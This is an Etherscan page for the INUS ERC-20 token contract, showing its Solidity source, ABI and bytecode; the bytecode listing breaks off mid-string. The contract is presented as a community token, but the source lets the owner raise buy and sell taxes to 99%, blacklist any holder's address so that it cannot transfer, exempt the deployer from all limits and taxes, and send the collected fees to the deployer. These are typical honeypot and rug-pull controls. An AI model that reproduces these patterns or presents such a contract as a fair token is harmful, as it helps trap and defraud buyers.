ERC-20
Overview
Max Total Supply
420,420,420 INUS
Holders
32
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
5,830,820.587403587 INUSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
INUS
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-11 */ /** A Bunch of Inus Combined, forming Inus Community https://www.inuscommunity.com/ https://t.me/InusCommunity */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.16; abstract contract Ownership { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); error NotOwner(); modifier onlyOwner { if (msg.sender != owner) { revert NotOwner(); } _; } constructor(address owner_) { owner = owner_; } function _renounceOwnership() internal virtual { owner = address(0); emit OwnershipTransferred(owner, address(0)); } function renounceOwnership() external onlyOwner { _renounceOwnership(); } } interface IRouter { function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract INUS is Ownership { uint256 constant internal _totalSupply = 420_420_420 gwei; string internal _name = "INUS COMMUNITY"; string internal _symbol = "INUS"; uint8 constant internal _decimals = 9; uint256 private immutable _maxTx; uint256 private immutable _maxWallet; bool private _inSwap; bool public launched; bool public limited = true; uint8 private _buyTax = 30; uint8 private _saleTax = 30; address private _pair; address payable private immutable _deployer; address private _router; uint128 private _swapThreshold; uint128 private _swapAmount; mapping (address => bool) private _isBot; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowances; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); error ExceedsAllowance(); error ExceedsBalance(); error ExceedsLimit(); error NotTradeable(); modifier swapping { _inSwap = true; _; _inSwap = false; } constructor(address router) Ownership(msg.sender) { _router = router; _deployer = payable(msg.sender); _maxTx = _totalSupply / 50; _maxWallet = _totalSupply / 50; _swapThreshold = uint128(_totalSupply); _approve(address(this), router, type(uint256).max); _approve(msg.sender, router, type(uint256).max); _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external pure returns (uint8) { return _decimals; } function totalSupply() external pure returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner_, address spender) external view returns (uint256) { return _allowances[owner_][spender]; } function approve(address spender, uint256 amount) external returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner_, address spender, uint256 amount) internal { _allowances[owner_][spender] = amount; emit Approval(owner_, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; if (currentAllowance < amount) { revert ExceedsAllowance(); } _approve(sender, msg.sender, currentAllowance - amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { uint256 senderBalance = _balances[sender]; if (senderBalance < amount) { revert ExceedsBalance(); } uint256 amountReceived = _beforeTokenTransfer(sender, recipient, amount); unchecked { _balances[sender] = senderBalance - amount; _balances[recipient] += amountReceived; } emit Transfer(sender, recipient, amountReceived); } receive() external payable {} function FuckingSendIt(address tradingPair) external onlyOwner { _pair = tradingPair; launched = true; } function setTradingPair(address tradingPair) external onlyOwner { _pair = tradingPair; } function setRouter(address r) external onlyOwner { _router = r; } function _beforeTokenTransfer(address sender, address recipient, uint256 amount) internal returns (uint256) { address dep = _deployer; if (tx.origin == dep || sender == dep || recipient == dep || sender == address(this)) { return amount; } if (!launched || _isBot[sender] || _isBot[recipient]) { revert NotTradeable(); } address tradingPair = _pair; bool isBuy = sender == tradingPair; bool isSale = recipient == tradingPair; uint256 amountToRecieve = amount; if (isSale) { uint256 contractBalance = balanceOf(address(this)); if (contractBalance > 0) { if (!_inSwap && contractBalance >= _swapThreshold) { _sellAndFund(contractBalance); } } uint8 saleTax = _saleTax; if (saleTax > 0) { uint256 fee = amount * _saleTax / 100; unchecked { // fee cannot be higher than amount amountToRecieve = amount - fee; _balances[address(this)] += fee; } emit Transfer(sender, address(this), fee); } } if (isBuy) { uint256 buyTax = _buyTax; if (buyTax > 0) { uint256 fee = amount * _buyTax / 100; unchecked { amountToRecieve = amount - fee; _balances[address(this)] += fee; } emit Transfer(sender, address(this), fee); } } if (recipient != address(this)) { if (limited) { if ( amountToRecieve > _maxTx || (!isSale && balanceOf(recipient) + amountToRecieve > _maxWallet) ) { revert ExceedsLimit(); } } } return amountToRecieve; } /** * @dev Removes wallet and TX limits. Cannot be undone. */ function setUnlimited() external onlyOwner { limited = false; } function _renounceOwnership() internal override { _buyTax = 0; _saleTax = 0; limited = false; super._renounceOwnership(); } function setBuyTax(uint8 buyTax) external onlyOwner { if (buyTax > 99) { revert ExceedsLimit(); } _buyTax = buyTax; } function setSaleTax(uint8 saleTax) external onlyOwner { if (saleTax > 99) { revert ExceedsLimit(); } _saleTax = saleTax; } function setSwapSettings(uint128 thres, uint128 amount) external onlyOwner { _swapThreshold = thres; _swapAmount = amount; } function _swap(uint256 amount) private swapping { address[] memory path = new address[](2); path[0] = address(this); IRouter router = IRouter(_router); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); } function _sellAndFund(uint256 contractBalance) private { uint256 maxSwap = _swapAmount; uint256 toSwap = contractBalance > maxSwap ? maxSwap : contractBalance; if (toSwap > 0) { _swap(toSwap); } launchFunds(); } function launchFunds() public returns (bool success) { (success,) = _deployer.call{value: address(this).balance}(""); } function catchMaliciousActors(address[] calldata malicious) external onlyOwner { for (uint256 i = 0; i < malicious.length; i++) { _isBot[malicious[i]] = true; } } function setMark(address account, bool m) external onlyOwner { _isBot[account] = m; } function getTaxes() external view returns (uint8 buyTax, uint8 saleTax) { buyTax = _buyTax; saleTax = _saleTax; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ExceedsAllowance","type":"error"},{"inputs":[],"name":"ExceedsBalance","type":"error"},{"inputs":[],"name":"ExceedsLimit","type":"error"},{"inputs":[],"name":"NotOwner","type":"error"},{"inputs":[],"name":"NotTradeable","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"tradingPair","type":"address"}],"name":"FuckingSendIt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"malicious","type":"address[]"}],"name":"catchMaliciousActors","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getTaxes","outputs":[{"internalType":"uint8","name":"buyTax","type":"uint8"},{"internalType":"uint8","name":"saleTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchFunds","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buyTax","type":"uint8"}],"name":"setBuyTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"m","type":"bool"}],"name":"setMark","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"r","type":"address"}],"name":"setRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"saleTax","type":"uint8"}],"name":"setSaleTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint128","name":"thres","type":"uint128"},{"internalType":"uint128","name":"amount","type":"uint128"}],"name":"setSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tradingPair","type":"address"}],"name":"setTradingPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setUnlimited","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
610120604052600e60e09081526d494e555320434f4d4d554e49545960901b6101005260019062000031908262000293565b50604080518082019091526004815263494e555360e01b60208201526002906200005c908262000293565b506003805464ffffff00001916641e1e0100001790553480156200007f57600080fd5b506040516200185538038062001855833981016040819052620000a2916200035f565b60008054336001600160a01b03199182168117909255600480549091166001600160a01b03841617905560c052620000e460326705d5a224fe6ba80062000391565b608052620000fc60326705d5a224fe6ba80062000391565b60a052600580546001600160801b0319166705d5a224fe6ba8001790556200012830826000196200018d565b6200013733826000196200018d565b3360008181526007602090815260408083206705d5a224fe6ba8009081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350620003b4565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200021957607f821691505b6020821081036200023a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200028e57600081815260208120601f850160051c81016020861015620002695750805b601f850160051c820191505b818110156200028a5782815560010162000275565b5050505b505050565b81516001600160401b03811115620002af57620002af620001ee565b620002c781620002c0845462000204565b8462000240565b602080601f831160018114620002ff5760008415620002e65750858301515b600019600386901b1c1916600185901b1785556200028a565b600085815260208120601f198616915b8281101562000330578886015182559484019460019091019084016200030f565b50858210156200034f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200037257600080fd5b81516001600160a01b03811681146200038a57600080fd5b9392505050565b600082620003af57634e487b7160e01b600052601260045260246000fd5b500490565b60805160a05160c05161146a620003eb600039600081816106b10152610b3a01526000610e3901526000610e07015261146a6000f3fe60806040526004361061014f5760003560e01c806370a08231116100b65780639fba6a671161006f5780639fba6a67146103d2578063a9059cbb146103f2578063c0d7865514610412578063d774408114610432578063dd62ed3e14610452578063e5cc23f81461049857600080fd5b806370a08231146102fb578063715018a6146103315780638091f3bf14610346578063860a32ec146103655780638da5cb5b1461038557806395d89b41146103bd57600080fd5b806318160ddd1161010857806318160ddd1461022d5780631f20db1d1461025257806323b872dd146102675780632973ef2d14610287578063313ce567146102bf5780636081752b146102db57600080fd5b806301685f461461015b57806306fdde031461017d578063095ea7b3146101a85780630a2a409f146101d85780630fcd82c0146101f8578063116d464f1461021857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017b6101763660046110a1565b6104b8565b005b34801561018957600080fd5b506101926104fc565b60405161019f91906110d4565b60405180910390f35b3480156101b457600080fd5b506101c86101c336600461113a565b61058e565b604051901515815260200161019f565b3480156101e457600080fd5b5061017b6101f3366004611166565b6105a5565b34801561020457600080fd5b5061017b610213366004611183565b61060b565b34801561022457600080fd5b506101c86106ad565b34801561023957600080fd5b506705d5a224fe6ba8005b60405190815260200161019f565b34801561025e57600080fd5b5061017b610727565b34801561027357600080fd5b506101c86102823660046111f8565b610760565b34801561029357600080fd5b506003546040805160ff630100000084048116825264010000000090930490921660208301520161019f565b3480156102cb57600080fd5b506040516009815260200161019f565b3480156102e757600080fd5b5061017b6102f6366004611239565b6107d3565b34801561030757600080fd5b50610244610316366004611166565b6001600160a01b031660009081526007602052604090205490565b34801561033d57600080fd5b5061017b610843565b34801561035257600080fd5b506003546101c890610100900460ff1681565b34801561037157600080fd5b506003546101c89062010000900460ff1681565b34801561039157600080fd5b506000546103a5906001600160a01b031681565b6040516001600160a01b03909116815260200161019f565b3480156103c957600080fd5b50610192610878565b3480156103de57600080fd5b5061017b6103ed36600461125c565b610887565b3480156103fe57600080fd5b506101c861040d36600461113a565b6108dd565b34801561041e57600080fd5b5061017b61042d366004611166565b6108ea565b34801561043e57600080fd5b5061017b61044d366004611239565b610937565b34801561045e57600080fd5b5061024461046d36600461129a565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b3480156104a457600080fd5b5061017b6104b3366004611166565b6109a9565b6000546001600160a01b031633146104e3576040516330cd747160e01b815260040160405180910390fd5b6001600160801b03908116600160801b02911617600555565b60606001805461050b906112c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610537906112c8565b80156105845780601f1061055957610100808354040283529160200191610584565b820191906000526020600020905b81548152906001019060200180831161056757829003601f168201915b5050505050905090565b600061059b338484610a04565b5060015b92915050565b6000546001600160a01b031633146105d0576040516330cd747160e01b815260040160405180910390fd5b6003805461ff00196001600160a01b0390931665010000000000029290921664ffffff0100600160c81b031990921691909117610100179055565b6000546001600160a01b03163314610636576040516330cd747160e01b815260040160405180910390fd5b60005b818110156106a85760016006600085858581811061065957610659611302565b905060200201602081019061066e9190611166565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806106a08161132e565b915050610639565b505050565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03164760405160006040518083038185875af1925050503d806000811461071a576040519150601f19603f3d011682016040523d82523d6000602084013e61071f565b606091505b509092915050565b6000546001600160a01b03163314610752576040516330cd747160e01b815260040160405180910390fd5b6003805462ff000019169055565b600061076d848484610a65565b6001600160a01b0384166000908152600860209081526040808320338452909152902054828110156107b257604051634ec1ad0560e11b815260040160405180910390fd5b6107c685336107c18685611347565b610a04565b60019150505b9392505050565b6000546001600160a01b031633146107fe576040516330cd747160e01b815260040160405180910390fd5b60638160ff16111561082357604051632795088960e11b815260040160405180910390fd5b6003805460ff90921663010000000263ff00000019909216919091179055565b6000546001600160a01b0316331461086e576040516330cd747160e01b815260040160405180910390fd5b610876610b20565b565b60606002805461050b906112c8565b6000546001600160a01b031633146108b2576040516330cd747160e01b815260040160405180910390fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b600061059b338484610a65565b6000546001600160a01b03163314610915576040516330cd747160e01b815260040160405180910390fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610962576040516330cd747160e01b815260040160405180910390fd5b60638160ff16111561098757604051632795088960e11b815260040160405180910390fd5b6003805460ff9092166401000000000264ff0000000019909216919091179055565b6000546001600160a01b031633146109d4576040516330cd747160e01b815260040160405180910390fd5b600380546001600160a01b03909216650100000000000265010000000000600160c81b0319909216919091179055565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526007602052604090205481811015610a9f57604051637fa62f9d60e01b815260040160405180910390fd5b6000610aac858585610b36565b6001600160a01b03808716600081815260076020526040808220888803905592881680825290839020805485019055915192935090917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b119085815260200190565b60405180910390a35050505050565b6003805464ffffff000019169055610876610eae565b60007f0000000000000000000000000000000000000000000000000000000000000000326001600160a01b0382161480610b815750806001600160a01b0316856001600160a01b0316145b80610b9d5750806001600160a01b0316846001600160a01b0316145b80610bb057506001600160a01b03851630145b15610bbe57829150506107cc565b600354610100900460ff161580610bed57506001600160a01b03851660009081526006602052604090205460ff165b80610c1057506001600160a01b03841660009081526006602052604090205460ff165b15610c2e5760405163cbd4014160e01b815260040160405180910390fd5b6003546001600160a01b036501000000000090910481169086811682149086168214858115610d3d57306000908152600760205260409020548015610c995760035460ff16158015610c8b57506005546001600160801b03168110155b15610c9957610c9981610eea565b600354640100000000900460ff168015610d3a57600354600090606490610ccb90640100000000900460ff168c61135a565b610cd59190611371565b306000818152600760205260409081902080548401905551828d039650919250906001600160a01b038e16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d309085815260200190565b60405180910390a3505b50505b8215610de4576003546301000000900460ff168015610de257600354600090606490610d73906301000000900460ff168b61135a565b610d7d9190611371565b306000818152600760205260409081902080548401905551828c039550919250906001600160a01b038d16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dd89085815260200190565b60405180910390a3505b505b6001600160a01b0388163014610ea25760035462010000900460ff1615610ea2577f0000000000000000000000000000000000000000000000000000000000000000811180610e84575081158015610e8457507f000000000000000000000000000000000000000000000000000000000000000081610e788a6001600160a01b031660009081526007602052604090205490565b610e829190611393565b115b15610ea257604051632795088960e11b815260040160405180910390fd5b98975050505050505050565b600080546001600160a01b031916815560405181907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b600554600160801b90046001600160801b03166000818311610f0c5782610f0e565b815b90508015610f1f57610f1f81610f2d565b610f276106ad565b50505050565b6003805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f6f57610f6f611302565b6001600160a01b0392831660209182029290920181019190915260048054604080516315ab88c960e31b815290519190941693849363ad5c4648938281019391928290030181865afa158015610fc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fed91906113a6565b8260018151811061100057611000611302565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81529082169063791ac947906110449086906000908790309042906004016113c3565b600060405180830381600087803b15801561105e57600080fd5b505af1158015611072573d6000803e3d6000fd5b50506003805460ff191690555050505050565b80356001600160801b038116811461109c57600080fd5b919050565b600080604083850312156110b457600080fd5b6110bd83611085565b91506110cb60208401611085565b90509250929050565b600060208083528351808285015260005b81811015611101578581018301518582016040015282016110e5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461113757600080fd5b50565b6000806040838503121561114d57600080fd5b823561115881611122565b946020939093013593505050565b60006020828403121561117857600080fd5b81356107cc81611122565b6000806020838503121561119657600080fd5b823567ffffffffffffffff808211156111ae57600080fd5b818501915085601f8301126111c257600080fd5b8135818111156111d157600080fd5b8660208260051b85010111156111e657600080fd5b60209290920196919550909350505050565b60008060006060848603121561120d57600080fd5b833561121881611122565b9250602084013561122881611122565b929592945050506040919091013590565b60006020828403121561124b57600080fd5b813560ff811681146107cc57600080fd5b6000806040838503121561126f57600080fd5b823561127a81611122565b91506020830135801515811461128f57600080fd5b809150509250929050565b600080604083850312156112ad57600080fd5b82356112b881611122565b9150602083013561128f81611122565b600181811c908216806112dc57607f821691505b6020821081036112fc57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161134057611340611318565b5060010190565b8181038181111561059f5761059f611318565b808202811582820484141761059f5761059f611318565b60008261138e57634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561059f5761059f611318565b6000602082840312156113b857600080fd5b81516107cc81611122565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114135784516001600160a01b0316835293830193918301916001016113ee565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220312d5c6e948e3ea5ce160cc7d6a82cfb3d148fb943be92e517ccb0c1a86b3fd664736f6c634300081100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x60806040526004361061014f5760003560e01c806370a08231116100b65780639fba6a671161006f5780639fba6a67146103d2578063a9059cbb146103f2578063c0d7865514610412578063d774408114610432578063dd62ed3e14610452578063e5cc23f81461049857600080fd5b806370a08231146102fb578063715018a6146103315780638091f3bf14610346578063860a32ec146103655780638da5cb5b1461038557806395d89b41146103bd57600080fd5b806318160ddd1161010857806318160ddd1461022d5780631f20db1d1461025257806323b872dd146102675780632973ef2d14610287578063313ce567146102bf5780636081752b146102db57600080fd5b806301685f461461015b57806306fdde031461017d578063095ea7b3146101a85780630a2a409f146101d85780630fcd82c0146101f8578063116d464f1461021857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017b6101763660046110a1565b6104b8565b005b34801561018957600080fd5b506101926104fc565b60405161019f91906110d4565b60405180910390f35b3480156101b457600080fd5b506101c86101c336600461113a565b61058e565b604051901515815260200161019f565b3480156101e457600080fd5b5061017b6101f3366004611166565b6105a5565b34801561020457600080fd5b5061017b610213366004611183565b61060b565b34801561022457600080fd5b506101c86106ad565b34801561023957600080fd5b506705d5a224fe6ba8005b60405190815260200161019f565b34801561025e57600080fd5b5061017b610727565b34801561027357600080fd5b506101c86102823660046111f8565b610760565b34801561029357600080fd5b506003546040805160ff630100000084048116825264010000000090930490921660208301520161019f565b3480156102cb57600080fd5b506040516009815260200161019f565b3480156102e757600080fd5b5061017b6102f6366004611239565b6107d3565b34801561030757600080fd5b50610244610316366004611166565b6001600160a01b031660009081526007602052604090205490565b34801561033d57600080fd5b5061017b610843565b34801561035257600080fd5b506003546101c890610100900460ff1681565b34801561037157600080fd5b506003546101c89062010000900460ff1681565b34801561039157600080fd5b506000546103a5906001600160a01b031681565b6040516001600160a01b03909116815260200161019f565b3480156103c957600080fd5b50610192610878565b3480156103de57600080fd5b5061017b6103ed36600461125c565b610887565b3480156103fe57600080fd5b506101c861040d36600461113a565b6108dd565b34801561041e57600080fd5b5061017b61042d366004611166565b6108ea565b34801561043e57600080fd5b5061017b61044d366004611239565b610937565b34801561045e57600080fd5b5061024461046d36600461129a565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b3480156104a457600080fd5b5061017b6104b3366004611166565b6109a9565b6000546001600160a01b031633146104e3576040516330cd747160e01b815260040160405180910390fd5b6001600160801b03908116600160801b02911617600555565b60606001805461050b906112c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610537906112c8565b80156105845780601f1061055957610100808354040283529160200191610584565b820191906000526020600020905b81548152906001019060200180831161056757829003601f168201915b5050505050905090565b600061059b338484610a04565b5060015b92915050565b6000546001600160a01b031633146105d0576040516330cd747160e01b815260040160405180910390fd5b6003805461ff00196001600160a01b0390931665010000000000029290921664ffffff0100600160c81b031990921691909117610100179055565b6000546001600160a01b03163314610636576040516330cd747160e01b815260040160405180910390fd5b60005b818110156106a85760016006600085858581811061065957610659611302565b905060200201602081019061066e9190611166565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806106a08161132e565b915050610639565b505050565b60007f000000000000000000000000b8d79a4e07068fbc577f8e0cef35185b9d4480616001600160a01b03164760405160006040518083038185875af1925050503d806000811461071a576040519150601f19603f3d011682016040523d82523d6000602084013e61071f565b606091505b509092915050565b6000546001600160a01b03163314610752576040516330cd747160e01b815260040160405180910390fd5b6003805462ff000019169055565b600061076d848484610a65565b6001600160a01b0384166000908152600860209081526040808320338452909152902054828110156107b257604051634ec1ad0560e11b815260040160405180910390fd5b6107c685336107c18685611347565b610a04565b60019150505b9392505050565b6000546001600160a01b031633146107fe576040516330cd747160e01b815260040160405180910390fd5b60638160ff16111561082357604051632795088960e11b815260040160405180910390fd5b6003805460ff90921663010000000263ff00000019909216919091179055565b6000546001600160a01b0316331461086e576040516330cd747160e01b815260040160405180910390fd5b610876610b20565b565b60606002805461050b906112c8565b6000546001600160a01b031633146108b2576040516330cd747160e01b815260040160405180910390fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b600061059b338484610a65565b6000546001600160a01b03163314610915576040516330cd747160e01b815260040160405180910390fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610962576040516330cd747160e01b815260040160405180910390fd5b60638160ff16111561098757604051632795088960e11b815260040160405180910390fd5b6003805460ff9092166401000000000264ff0000000019909216919091179055565b6000546001600160a01b031633146109d4576040516330cd747160e01b815260040160405180910390fd5b600380546001600160a01b03909216650100000000000265010000000000600160c81b0319909216919091179055565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526007602052604090205481811015610a9f57604051637fa62f9d60e01b815260040160405180910390fd5b6000610aac858585610b36565b6001600160a01b03808716600081815260076020526040808220888803905592881680825290839020805485019055915192935090917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b119085815260200190565b60405180910390a35050505050565b6003805464ffffff000019169055610876610eae565b60007f000000000000000000000000b8d79a4e07068fbc577f8e0cef35185b9d448061326001600160a01b0382161480610b815750806001600160a01b0316856001600160a01b0316145b80610b9d5750806001600160a01b0316846001600160a01b0316145b80610bb057506001600160a01b03851630145b15610bbe57829150506107cc565b600354610100900460ff161580610bed57506001600160a01b03851660009081526006602052604090205460ff165b80610c1057506001600160a01b03841660009081526006602052604090205460ff165b15610c2e5760405163cbd4014160e01b815260040160405180910390fd5b6003546001600160a01b036501000000000090910481169086811682149086168214858115610d3d57306000908152600760205260409020548015610c995760035460ff16158015610c8b57506005546001600160801b03168110155b15610c9957610c9981610eea565b600354640100000000900460ff168015610d3a57600354600090606490610ccb90640100000000900460ff168c61135a565b610cd59190611371565b306000818152600760205260409081902080548401905551828d039650919250906001600160a01b038e16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d309085815260200190565b60405180910390a3505b50505b8215610de4576003546301000000900460ff168015610de257600354600090606490610d73906301000000900460ff168b61135a565b610d7d9190611371565b306000818152600760205260409081902080548401905551828c039550919250906001600160a01b038d16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dd89085815260200190565b60405180910390a3505b505b6001600160a01b0388163014610ea25760035462010000900460ff1615610ea2577f000000000000000000000000000000000000000000000000001ddf6723cef400811180610e84575081158015610e8457507f000000000000000000000000000000000000000000000000001ddf6723cef40081610e788a6001600160a01b031660009081526007602052604090205490565b610e829190611393565b115b15610ea257604051632795088960e11b815260040160405180910390fd5b98975050505050505050565b600080546001600160a01b031916815560405181907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b600554600160801b90046001600160801b03166000818311610f0c5782610f0e565b815b90508015610f1f57610f1f81610f2d565b610f276106ad565b50505050565b6003805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f6f57610f6f611302565b6001600160a01b0392831660209182029290920181019190915260048054604080516315ab88c960e31b815290519190941693849363ad5c4648938281019391928290030181865afa158015610fc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fed91906113a6565b8260018151811061100057611000611302565b6001600160a01b03928316602091820292909201015260405163791ac94760e01b81529082169063791ac947906110449086906000908790309042906004016113c3565b600060405180830381600087803b15801561105e57600080fd5b505af1158015611072573d6000803e3d6000fd5b50506003805460ff191690555050505050565b80356001600160801b038116811461109c57600080fd5b919050565b600080604083850312156110b457600080fd5b6110bd83611085565b91506110cb60208401611085565b90509250929050565b600060208083528351808285015260005b81811015611101578581018301518582016040015282016110e5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461113757600080fd5b50565b6000806040838503121561114d57600080fd5b823561115881611122565b946020939093013593505050565b60006020828403121561117857600080fd5b81356107cc81611122565b6000806020838503121561119657600080fd5b823567ffffffffffffffff80821115